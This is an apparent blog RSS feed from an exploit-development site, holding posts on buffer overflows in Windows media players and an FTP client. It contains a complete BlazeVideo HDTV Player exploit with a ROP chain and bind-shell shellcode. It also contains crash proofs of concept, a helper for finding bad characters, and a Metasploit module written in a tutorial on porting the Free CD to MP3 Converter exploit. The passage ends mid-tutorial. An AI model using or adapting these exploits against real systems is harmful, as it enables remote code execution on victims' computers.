003b:00000050 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................<br />
003b:00000060 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................<br />
003b:00000070 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................<br />
0:000&gt; d 0012f3bc<br />
0012f3bc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
0012f3cc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
0012f3dc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
0012f3ec 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
0012f3fc 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
0012f40c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
0012f41c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
0012f42c 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA<br />
0:000&gt; g<br />
(54c.550): Access violation - code c0000005 (first chance)<br />
First chance exceptions are reported before any exception handling.<br />
This exception may be expected and handled.<br />
eax=00000000 ebx=00000000 ecx=41414141 edx=7c9032bc esi=00000000 edi=00000000<br />
eip=41414141 esp=0012ec68 ebp=0012ec88 iopl=0 nv up ei pl zr na pe nc<br />
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246<br />
+0x41414100:<br />
41414141 ?? ???</code></p>
<p><span style="color: #ff6600;"><strong>Proof of Concept</strong></span><br />
Here is the proof of concept:<br />
<code>#!/usr/bin/python<br />
filename = 'test.plf'<br />
junk = "A" * 4000<br />
f = open(filename,'w')<br />
f.write(junk)<br />
print "Malformed",filename,"created successfully."<br />
f.close()</code></p>
<p>full exploit: <a href="http://www.exploit-db.com/exploits/18096">http://www.exploit-db.com/exploits/18096</a></p>
<p><span style="color: #ff6600;"><strong>Solution</strong></span><br />
Unpatched</p>
<p><span style="color: #ff6600;"><strong>Discovered by</strong></span><br />
Tom Gregory from Spentera Research.</p>
<p><span style="color: #ff6600;"><strong>References</strong></span><br />
<a title="Vulnerability Note VU#998403" href="http://www.kb.cert.org/vuls/id/998403">http://www.kb.cert.org/vuls/id/998403</a><br />
<a title="Aviosoft DTV Player 1.x Stack Buffer Overflow" href="http://www.spentera.com/2011/11/aviosoft-dtv-player-1-x-stack-buffer-overflow/">http://www.spentera.com/2011/11/aviosoft-dtv-player-1-x-stack-buffer-overflow/</a><br />
<a href="http://www.exploit-db.com/exploits/18096">http://www.exploit-db.com/exploits/18096</a></p>
<p>PDF Version can be downloaded <a href="http://www.spentera.com/advisories/2011/SPN-06-2011.pdf">here</a></p>
<div class="shr-publisher-1538"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F11%2Faviosoft-dtv-player-1-x-stack-buffer-overflow%2F' data-shr_title='Aviosoft+DTV+Player+1.x+Stack+Buffer+Overflow'></a><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F11%2Faviosoft-dtv-player-1-x-stack-buffer-overflow%2F' data-shr_title='Aviosoft+DTV+Player+1.x+Stack+Buffer+Overflow'></a><a class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F11%2Faviosoft-dtv-player-1-x-stack-buffer-overflow%2F' data-shr_title='Aviosoft+DTV+Player+1.x+Stack+Buffer+Overflow'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://www.digital-echidna.org/2011/11/aviosoft-dtv-player-1-x-stack-buffer-overflow/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>HEX Generator</title>
		<link>http://www.digital-echidna.org/2011/11/hex-generator/</link>
		<comments>http://www.digital-echidna.org/2011/11/hex-generator/#comments</comments>
		<pubDate>Fri, 04 Nov 2011 09:57:31 +0000</pubDate>
		<dc:creator>otoy</dc:creator>
				<category><![CDATA[Research]]></category>
		<category><![CDATA[Tools]]></category>
		<category><![CDATA[Hex Generator]]></category>

		<guid isPermaLink="false">http://www.digital-echidna.org/?p=1522</guid>
		<description><![CDATA[#HEX Generator #http://www.digital-echidna.org #0x04112011 def gene(): c=0 x=0 hslgen='"' while x]]></description>
				<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><pre class="brush: python">
#HEX Generator
#http://www.digital-echidna.org
#0x04112011

def gene():
        c=0
        x=0
        hslgen='"'
        while x <= 255:
          hslhex=hex(x)
          if c == 16:
            hslgen=hslgen+'"\n"'
            c=0
          if x <= 16:
            hslgen=hslgen.replace('0x','\\x0')
          hslgen=hslgen+hslhex
          x+=1
          c+=1

        print "\n#Generated with dE HEX Generator"
        print "#http://www.digital-echidna.org\n"
        print hslgen.replace('0x','\\x')+'"\n'

if __name__ == "__main__":
        gene()
</pre>
<div id='stb-box-4630' class='stb-info_box' >It's a useful python script for you.. to find bad chars, when you creating an exploit.</div>
<div class="shr-publisher-1522"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F11%2Fhex-generator%2F' data-shr_title='HEX+Generator+'></a><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F11%2Fhex-generator%2F' data-shr_title='HEX+Generator+'></a><a class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F11%2Fhex-generator%2F' data-shr_title='HEX+Generator+'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://www.digital-echidna.org/2011/11/hex-generator/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>BlazeVideo HDTV Player 6.x Buffer Overflow (another version)</title>
		<link>http://www.digital-echidna.org/2011/10/blazevideo-hdtv-player-6-x-buffer-overflow-another-version/</link>
		<comments>http://www.digital-echidna.org/2011/10/blazevideo-hdtv-player-6-x-buffer-overflow-another-version/#comments</comments>
		<pubDate>Fri, 07 Oct 2011 15:50:50 +0000</pubDate>
		<dc:creator>modpr0be</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[blazevideo]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[hdtv]]></category>

		<guid isPermaLink="false">http://www.digital-echidna.org/?p=1489</guid>
		<description><![CDATA[Hi again, we tried to make a universal DEP and ASLR bypass version on BlazeVideo HDTV Player 6.x. This exploit is already public, but we just want to make it universal. Take a look at mona.py awesome tool developed by corelanc0d3r and his team So here is the poc, it will bind to port 31337 [...]]]></description>
				<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p>Hi again, we tried to make a universal DEP and ASLR bypass version on BlazeVideo HDTV Player 6.x. This exploit is already public, but we just want to make it universal.<br />
Take a look at <a title="Mona.py The Manual" href="https://www.corelan.be/index.php/2011/07/14/mona-py-the-manual/" target="_blank">mona.py</a> <img src='http://i2.wp.com/www.digital-echidna.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  awesome tool developed by <a title="Corelan Team" href="https://www.corelan.be" target="_blank">corelanc0d3r and his team</a><br />
So here is the poc, it will bind to port 31337 <img src='http://i2.wp.com/www.digital-echidna.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> <span id="more-1489"></span></p>
<pre class="brush: python">#!/usr/bin/python

import struct
file = 'blazevideo-universal.plf'

totalsize = 5000
junk = 'A' * 872
align = 'B' * 136

#we don't need nseh
seh = '\x4a\x53\x30\x61'	# ADD ESP,800 # RETN
rop = '\x03\x60\x32\x61' * 10	# RETN (ROP NOP)
rop+= '\x7a\x34\x05\x64' 	# POP EDX # RETN
rop+= '\x08\x11\x01\x10'	# ptr to &amp;VirtualProtect()
rop+= '\x03\x05\x01\x64'	# PUSH EDX # POP EAX # POP ESI # RETN 
rop+= '\x41\x41\x41\x41'	# Filler
rop+= '\x9f\x94\x60\x61'	# MOV ECX,DWORD PTR DS:[EDX] # POP SOMETHING
rop+= '\x41\x41\x41\x41' * 3	# Filler
rop+= '\x18\x42\x60\x61'	# PUSH ECX # ADD AL,5F # XOR EAX,EAX
rop+= '\x41\x41\x41\x41' * 3	# Filler
rop+= '\xa6\xd1\x03\x64'	# POP EBP # RETN
rop+= '\x41\x41\x41\x41' * 3	# Filler
rop+= '\x5A\x05\x61\x61'	# &amp; push esp #  ret 0c
rop+= '\xA8\x3E\x32\x61'	# POP EAX # RETN
rop+= '\x9D\x79\x39\xA1'	# 0x00000501-&gt; ebx
rop+= '\xfc\x03\x02\x64' 	# ADD EAX,5EC68B64 # RETN
rop+= '\x7b\xd3\x63\x61'	# PUSH EAX # ADD AL,5E
rop+= '\x07\x68\x62\x61' 	# XOR EAX,EAX # RETN
rop+= '\xfc\x03\x02\x64' 	# ADD EAX,5EC68B64 # RETN
rop+= '\x7a\x34\x05\x64' 	# POP EDX # RETN
rop+= '\xDC\x74\x39\xA1'	# 0x00000040-&gt; edx
rop+= '\xfb\x07\x31\x61' 	# ADD EDX,EAX # MOV EAX,EDX
rop+= '\xc0\x1f\x60\x61'	# POP ECX # RETN
rop+= '\x40\x03\x35\x60'	# &amp;Writable location
rop+= '\x07\x9e\x32\x61'	# POP EDI # RETN
rop+= '\x03\x60\x32\x61'	# RETN (ROP NOP)
rop+= '\x95\x65\x60\x61'	# POP EAX # RETN
rop+= '\x90\x90\x90\x90'	# nop
rop+= '\xF1\x0C\x62\x61'	# PUSHAD # RETN

nop = '\x90' * 32

# windows/shell_bind_tcp - 368 bytes
# http://www.metasploit.com
# Encoder: x86/shikata_ga_nai
# VERBOSE=false, LPORT=31337, RHOST=, EXITFUNC=process, 

shellcode = (
"\xdd\xc1\xd9\x74\x24\xf4\xbb\xc4\xaa\x69\x8a\x58\x33\xc9\xb1"
"\x56\x83\xe8\xfc\x31\x58\x14\x03\x58\xd0\x48\x9c\x76\x30\x05"
"\x5f\x87\xc0\x76\xe9\x62\xf1\xa4\x8d\xe7\xa3\x78\xc5\xaa\x4f"
"\xf2\x8b\x5e\xc4\x76\x04\x50\x6d\x3c\x72\x5f\x6e\xf0\xba\x33"
"\xac\x92\x46\x4e\xe0\x74\x76\x81\xf5\x75\xbf\xfc\xf5\x24\x68"
"\x8a\xa7\xd8\x1d\xce\x7b\xd8\xf1\x44\xc3\xa2\x74\x9a\xb7\x18"
"\x76\xcb\x67\x16\x30\xf3\x0c\x70\xe1\x02\xc1\x62\xdd\x4d\x6e"
"\x50\x95\x4f\xa6\xa8\x56\x7e\x86\x67\x69\x4e\x0b\x79\xad\x69"
"\xf3\x0c\xc5\x89\x8e\x16\x1e\xf3\x54\x92\x83\x53\x1f\x04\x60"
"\x65\xcc\xd3\xe3\x69\xb9\x90\xac\x6d\x3c\x74\xc7\x8a\xb5\x7b"
"\x08\x1b\x8d\x5f\x8c\x47\x56\xc1\x95\x2d\x39\xfe\xc6\x8a\xe6"
"\x5a\x8c\x39\xf3\xdd\xcf\x55\x30\xd0\xef\xa5\x5e\x63\x83\x97"
"\xc1\xdf\x0b\x94\x8a\xf9\xcc\xdb\xa1\xbe\x43\x22\x49\xbf\x4a"
"\xe1\x1d\xef\xe4\xc0\x1d\x64\xf5\xed\xc8\x2b\xa5\x41\xa2\x8b"
"\x15\x22\x12\x64\x7c\xad\x4d\x94\x7f\x67\xf8\x92\xb1\x53\xa9"
"\x74\xb0\x63\x37\xec\x3d\x85\xad\xfe\x6b\x1d\x59\x3d\x48\x96"
"\xfe\x3e\xba\x8a\x57\xa9\xf2\xc4\x6f\xd6\x02\xc3\xdc\x7b\xaa"
"\x84\x96\x97\x6f\xb4\xa9\xbd\xc7\xbf\x92\x56\x9d\xd1\x51\xc6"
"\xa2\xfb\x01\x6b\x30\x60\xd1\xe2\x29\x3f\x86\xa3\x9c\x36\x42"
"\x5e\x86\xe0\x70\xa3\x5e\xca\x30\x78\xa3\xd5\xb9\x0d\x9f\xf1"
"\xa9\xcb\x20\xbe\x9d\x83\x76\x68\x4b\x62\x21\xda\x25\x3c\x9e"
"\xb4\xa1\xb9\xec\x06\xb7\xc5\x38\xf1\x57\x77\x95\x44\x68\xb8"
"\x71\x41\x11\xa4\xe1\xae\xc8\x6c\x11\xe5\x50\xc4\xba\xa0\x01"
"\x54\xa7\x52\xfc\x9b\xde\xd0\xf4\x63\x25\xc8\x7d\x61\x61\x4e"
"\x6e\x1b\xfa\x3b\x90\x88\xfb\x69")

sisa = 'C' * (totalsize - len(seh+rop+nop+shellcode))
payload = junk+seh+align+rop+nop+shellcode+sisa

f = open(file,'w')
print "Author: modpr0be"
f.write(payload)
print "File",file, "successfully created"
f.close()</pre>
<p>here is the result, tested on Windows 7 SP1:</p>
<p><a href="http://i2.wp.com/www.digital-echidna.org/wp-content/uploads/2011/10/Screenshot.png?resize=494%2C184" rel="lightbox[1489]"><img class="aligncenter size-full wp-image-1504" title="Screenshot" src="http://i2.wp.com/www.digital-echidna.org/wp-content/uploads/2011/10/Screenshot.png?resize=494%2C184" alt="" /></a></p>
<div class="shr-publisher-1489"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F10%2Fblazevideo-hdtv-player-6-x-buffer-overflow-another-version%2F' data-shr_title='BlazeVideo+HDTV+Player+6.x+Buffer+Overflow+%28another+version%29'></a><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F10%2Fblazevideo-hdtv-player-6-x-buffer-overflow-another-version%2F' data-shr_title='BlazeVideo+HDTV+Player+6.x+Buffer+Overflow+%28another+version%29'></a><a class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F10%2Fblazevideo-hdtv-player-6-x-buffer-overflow-another-version%2F' data-shr_title='BlazeVideo+HDTV+Player+6.x+Buffer+Overflow+%28another+version%29'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://www.digital-echidna.org/2011/10/blazevideo-hdtv-player-6-x-buffer-overflow-another-version/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>ScriptFTP &lt;&#061;3.3 Remote Buffer Overflow Exploit (MSF)</title>
		<link>http://www.digital-echidna.org/2011/10/scriptftp-3-3-remote-buffer-overflow-exploit-msf/</link>
		<comments>http://www.digital-echidna.org/2011/10/scriptftp-3-3-remote-buffer-overflow-exploit-msf/#comments</comments>
		<pubDate>Mon, 03 Oct 2011 09:05:59 +0000</pubDate>
		<dc:creator>otoy</dc:creator>
				<category><![CDATA[Exploit]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[buffer overflow]]></category>
		<category><![CDATA[ftp client]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[msf]]></category>
		<category><![CDATA[scriptftp]]></category>

		<guid isPermaLink="false">http://www.digital-echidna.org/?p=1463</guid>
		<description><![CDATA[You might be read about the previous post ScriptFTP Remote BOF, if you are a Metasploit user, you can add this exploit module to your Metasploit Framework. UPDATE: Metasploit has released their module for ScriptFTP. You can use it now on Metasploit. Thanks to: Cyberheb &#60; mrs[at]infosec-id.com &#62; Otoy &#60; otoy[at]digital-echidna.org &#62; TecR0c &#60; roccogiovannicalvi[at]gmail.com &#62; mr_me &#60; steventhomasseeley[at]gmail.com [...]]]></description>
				<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p>You might be read about the previous post <a title="ScriptFTP Remote BOF" href="http://www.digital-echidna.org/2011/09/scriptftp-3-3-remote-buffer-overflow-exploit-0day/" target="_blank">ScriptFTP Remote BOF</a>, if you are a Metasploit user, you can add this <a title="ScriptFTP EDB" href="http://www.exploit-db.com/exploits/17904/" target="_blank">exploit module</a> to your Metasploit Framework.</p>
<p><img class="alignnone size-full wp-image-1480" title="scriptftp-msf" src="http://i1.wp.com/www.digital-echidna.org/wp-content/uploads/2011/10/scriptftp-msf.png?resize=544%2C267" alt="" /></p>
<p><strong><span style="color: #ff6600;">UPDATE</span></strong>:<br />
Metasploit has released their module for ScriptFTP. You can use it now on Metasploit. Thanks to:<br />
Cyberheb &lt; mrs[at]infosec-id.com &gt;<br />
Otoy &lt; otoy[at]digital-echidna.org &gt;<br />
TecR0c &lt; roccogiovannicalvi[at]gmail.com &gt;<br />
mr_me &lt; steventhomasseeley[at]gmail.com &gt;</p>
<div class="shr-publisher-1463"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><div class='shareaholic-like-buttonset' style='float:none;height:30px;'><a class='shareaholic-googleplusone' data-shr_size='medium' data-shr_count='true' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F10%2Fscriptftp-3-3-remote-buffer-overflow-exploit-msf%2F' data-shr_title='ScriptFTP+%26%2360%3B%26%2361%3B3.3+Remote+Buffer+Overflow+Exploit+%28MSF%29'></a><a class='shareaholic-fblike' data-shr_layout='button_count' data-shr_showfaces='false' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F10%2Fscriptftp-3-3-remote-buffer-overflow-exploit-msf%2F' data-shr_title='ScriptFTP+%26%2360%3B%26%2361%3B3.3+Remote+Buffer+Overflow+Exploit+%28MSF%29'></a><a class='shareaholic-tweetbutton' data-shr_count='horizontal' data-shr_href='http%3A%2F%2Fwww.digital-echidna.org%2F2011%2F10%2Fscriptftp-3-3-remote-buffer-overflow-exploit-msf%2F' data-shr_title='ScriptFTP+%26%2360%3B%26%2361%3B3.3+Remote+Buffer+Overflow+Exploit+%28MSF%29'></a></div><div style="clear: both; min-height: 1px; height: 3px; width: 100%;"></div><!-- End Shareaholic LikeButtonSetBottom Automatic -->]]></content:encoded>
			<wfw:commentRss>http://www.digital-echidna.org/2011/10/scriptftp-3-3-remote-buffer-overflow-exploit-msf/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Porting Your Exploit to Metasploit</title>
		<link>http://www.digital-echidna.org/2011/09/porting-your-exploit-to-metasploit/</link>
		<comments>http://www.digital-echidna.org/2011/09/porting-your-exploit-to-metasploit/#comments</comments>
		<pubDate>Mon, 26 Sep 2011 00:42:14 +0000</pubDate>
		<dc:creator>modpr0be</dc:creator>
				<category><![CDATA[Tutorials]]></category>
		<category><![CDATA[Exploit]]></category>
		<category><![CDATA[free cd to mp3]]></category>
		<category><![CDATA[metasploit]]></category>
		<category><![CDATA[porting]]></category>

		<guid isPermaLink="false">http://www.digital-echidna.org/?p=1406</guid>
		<description><![CDATA[Beberapa waktu yang lalu saya udah memberikan tutorial basic exploit development (direct return technique) dan exploit development berbasis SEH. Sekarang mari kita porting exploit tersebut ke Metasploit Framework agar exploit tersebut semakin reliable dan bisa menggunakan macam-macam payload, fitur-fitur canggih yang ada di Metasploit. Kita akan meng-konversi exploit yang pertama, yaitu Free CD to MP3 [...]]]></description>
				<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><p><a href="http://www.metasploit.com"><img class="alignleft size-medium wp-image-1452" title="Metasploit" src="http://i2.wp.com/www.digital-echidna.org/wp-content/uploads/2011/09/metasploit-logo.png?resize=240%2C158" alt="" /></a>Beberapa waktu yang lalu saya udah memberikan <a title="Exploit Development Basic Stack-based Overflow" href="http://www.scribd.com/doc/50645626/Exploit-Development-Basic-Stack-based-Overflow" target="_blank">tutorial basic exploit development (direct return technique)</a> dan <a title="SEH Based Stack Overflow – The Basic" href="http://www.digital-echidna.org/2011/09/seh-based-stack-overflow-the-basic/">exploit development berbasis SEH</a>. Sekarang mari kita porting exploit tersebut ke Metasploit Framework agar exploit tersebut semakin reliable dan bisa menggunakan macam-macam payload, fitur-fitur canggih yang ada di Metasploit.</p>
<p>Kita akan meng-konversi exploit yang pertama, yaitu Free CD to MP3 Converter. Sebelum itu, kita kumpulkan poin-poin penting yang membuat exploit tersebut berjalan dengan baik, seperti berikut:</p>
<pre class="brush: python">junk = "\x41" * 4112                   # jumlah sampah yang dikirim
eip = "\x91\x3b\x43\x00"               # 0x00463b91 FFE4 JMP ESP at cdextract.exe
nops = "\x90" * 16
espdata = "\x90" * (5000 - len(junk+eip+nops)</pre>
<p>Dulu saya melakukan proses exploit Free CD to MP3 Converter pada sistem Windows XP SP3 versi NIST FDCC (Federal Desktop Core Configuration), tapi kali ini saya melakukannya pada sistem Windows XP SP3 versi umum, seharusnya ini tidak akan menjadi masalah berarti karena alamat JMP ESP yang saya gunakan kali ini berasal dari module cdextract.exe.<span id="more-1406"></span></p>
<p>Kita akan coba langsung meng-konversi exploit Free CD to MP3 Converter ke format Metasploit, dan akan saya jelaskan bagian-bagian yang penting. Karena proses eksploitasi Free CD to MP3 Converter menggunakan sebuah file wav (sehingga dikategorikan sebagai file format exploit), maka kita akan menggunakan salah satu exploit dari Metasploit sebagai template, yaitu a-pdf_wav_to_mp3.rb terdapat pada direktori <code>/opt/framework/msf3/modules/exploits/windows/fileformat/</code></p>
<pre class="brush: ruby">##
# $Id: a-pdf_wav_to_mp3.rb 12196 2011-04-01 00:51:33Z egypt $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 &lt; Msf::Exploit::Remote         Rank = NormalRanking         include Msf::Exploit::FILEFORMAT         include Msf::Exploit::Remote::Seh         def initialize(info = {})                 super(update_info(info,                         'Name'           =&gt; 'A-PDF WAV to MP3 v1.0.0 Buffer Overflow',
                        'Description'    =&gt; %q{
                                        This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When
                                the application is used to import a specially crafted m3u file, a buffer overflow occurs
                                allowing arbitrary code execution.
                        },
                        'License'        =&gt; MSF_LICENSE,
                        'Author'         =&gt;
                                [
                                        'd4rk-h4ck3r', # Original Exploit
                                        'Dr_IDE',      # SEH Exploit
                                        'dookie'       # MSF Module
                                ],
                        'Version'        =&gt; '$Revision: 12196 $',
                        'References'     =&gt;
                                [
                                        [ 'OSVDB', '67241' ],
                                        [ 'URL', 'http://www.exploit-db.com/exploits/14676/' ],
                                        [ 'URL', 'http://www.exploit-db.com/exploits/14681/' ]
                                ],
                        'DefaultOptions' =&gt;
                                {
                                        'EXITFUNC' =&gt; 'seh',
                                        'DisablePayloadHandler' =&gt; 'true',
                                },
                        'Payload'        =&gt;
                                {
                                        'Space'    =&gt; 600,
                                        'BadChars' =&gt; "\x00\x0a",
                                        'StackAdjustment' =&gt; -3500
                                },
                        'Platform' =&gt; 'win',
                        'Targets'        =&gt;
                                [
                                        [ 'Windows Universal', { 'Ret' =&gt; 0x0047265c, 'Offset' =&gt; 4132 } ],     # p/p/r in wavtomp3.exe
                                ],
                        'Privileged'     =&gt; false,
                        'DisclosureDate' =&gt; 'Aug 17 2010',
                        'DefaultTarget'  =&gt; 0))

                register_options(
                        [
                                OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
                        ], self.class)

        end

        def exploit

                sploit = rand_text_alpha_upper(target['Offset'])
                sploit &lt;&lt; generate_seh_payload(target.ret)

                print_status("Creating '#{datastore['FILENAME']}' file ...")

                file_create(sploit)

        end

end</pre>
<p>Bagian yang perlu diperhatikan adalah:</p>
<ul>
<li>bagian <code>include Msf::Exploit::FILEFORMAT</code>, menandakan bahwa exploit ini termasuk dalam fileformat exploit.</li>
<li>bagian Payload, yang berisi space, badchars, dll</li>
<li>bagian Targets, yang berisi offset</li>
<li>bagian <code>def exploit</code>, yang berisi urutan eksploitasi.</li>
</ul>
<p>Mari kita gabungkan informasi yang kita miliki diawal kedalam contoh exploit yang sudah ada.</p>
<pre class="brush: ruby">require 'msf/core'

class Metasploit3 &lt; Msf::Exploit::Remote         Rank = NormalRanking         include Msf::Exploit::FILEFORMAT         def initialize(info = {})                 super(update_info(info,                         'Name'           =&gt; 'Free CD to MP3 Converter 3.1 Buffer Overflow',
                        'Description'    =&gt; %q{
                                        This module exploits a buffer overflow in Free CD to MP3 Converter 3.1. When
                                the application is used to import a specially crafted wav file, a buffer overflow occurs
                                allowing arbitrary code execution.
                        },
                        'License'        =&gt; MSF_LICENSE,
                        'Author'         =&gt;
                                [
                                        'C4SS!0 G0M3S', # Original Exploit
                                        'modpr0be'       # MSF Module
                                ],
                        'References'     =&gt;
                                [
                                        [ 'OSVDB', '69116' ],
                                        [ 'URL', 'http://www.exploit-db.com/exploits/15480/' ],
                                ],
                        'DefaultOptions' =&gt;
                                {
                                        'EXITFUNC' =&gt; 'process',
                                        'DisablePayloadHandler' =&gt; 'true',
                                },
                        'Payload'        =&gt;
                                {
                                        'Space'    =&gt; 800,
                                        'BadChars' =&gt; "\x00\x0a\x1a\x0f",
                                        'StackAdjustment' =&gt; -3500
                                },
                        'Platform' =&gt; 'win',
                        'Targets'        =&gt;
                                [
                                        [ 'Windows XP Universal', { 'Ret' =&gt; 0x00463B91, 'Offset' =&gt; 4112 } ],    # jmp esp in cdextract.exe
                                ],
                        'Privileged'     =&gt; false,
                        'DisclosureDate' =&gt; 'Nov 10 2010',
                        'DefaultTarget'  =&gt; 0))

                register_options(
                        [
                                OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']),
                        ], self.class)
        end

        def exploit
                sploit = rand_text_alpha(target['Offset'])
                sploit &lt;&lt; [target.ret].pack('V')
                sploit &lt;&lt; make_nops(32)
                sploit &lt;&lt; payload.encoded
                sploit &lt;&lt; make_nops(5000 - (payload.encoded.length))
                print_status("Creating '#{datastore['FILENAME']}' file ...")
                file_create(sploit)
        end
end</pre>
<p>Pada bagian Target, saya mengisi dengan Windows XP Universal, lalu dengan informasi berikut:</p>
<pre class="brush: ruby"> 'Targets'        =&gt;
                                [
                                        [ 'Windows XP Universal', { 'Ret' =&gt; 0x00463B91, 'Offset' =&gt; 4112 } ],</pre>
<p><code>Ret =&gt; 0x00463B91</code> adalah perintah JMP ESP yang akan menimpa EIP.<br />
<code>Offset =&gt; 4112</code> adalah jumlah offset yang dicapai untuk menimpa EIP <img src='http://i2.wp.com/www.digital-echidna.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>Lalu bagian paling penting:</p>
<pre class="brush: ruby">def exploit
     sploit = rand_text_alpha(target['Offset'])
     sploit &lt;&lt; [target.ret].pack('V')
     sploit &lt;&lt; make_nops(32)
     sploit &lt;&lt; payload.encoded
     sploit &lt;&lt; make_nops(5000 - (payload.encoded.length))
     print_status("Creating '#{datastore['FILENAME']}' file ...")
     file_create(sploit)
end</pre>
<p>Bagian <code>rand_text_alpha(target['Offset']</code> adalah function dari Metasploit untuk men-generate sejumlah karakter alphanumeric sesuai dengan <strong>Offset</strong> yang telah kita tentukan di option <strong>Target</strong> sebelumnya.<br />
Setelah offset memenuhi stack dengan jumlah 4112 bytes, maka kita juga sudah tahu bahwa setelah itu EIP akan tertimpa sebanyak 4 bytes, sehingga option berikutnya <code>[target.ret].pack('V')</code> memanggil alamat <code>Ret =&gt; 0x00463B91</code> yang telah kita tentukan sebelumnya dan segera menimpa EIP.<br />
Setelah itu <code>make_nops(32)</code> akan menciptakan NOPSled sebanyak 32 bytes agar menjadi &#8216;landasan kosong&#8217; sebelum mencapai shellcode.<br />
Bagian berikutnya, <code>payload.encoded</code> adalah function dari Metasploit untuk men-generate payload yang biasa kita gunakan pada Metasploit (misal: <code>set payload windows/shell_bind_tcp</code>). Terakhir, saya menambahkan Nopsled untuk melengkapi buffer yang saya kirim sebelumnya sebanyak 5000 bytes. Lalu function <code>file_create(sploit)</code> menulis variable sploit dan menciptakan file msf.wav.</p>
<p>Simpan file diatas dengan nama <strong>freecdmp3_wav.rb</strong> dan copy ke folder <code>/opt/framework/msf3/modules/exploits/windows/fileformat/</code> agar dapat digunakan oleh Metasploit. Berikut penggunaannya pada msfconsole:</p>
<pre class="brush: ruby">       =[ metasploit v4.0.1-dev [core:4.0 api:1.0]
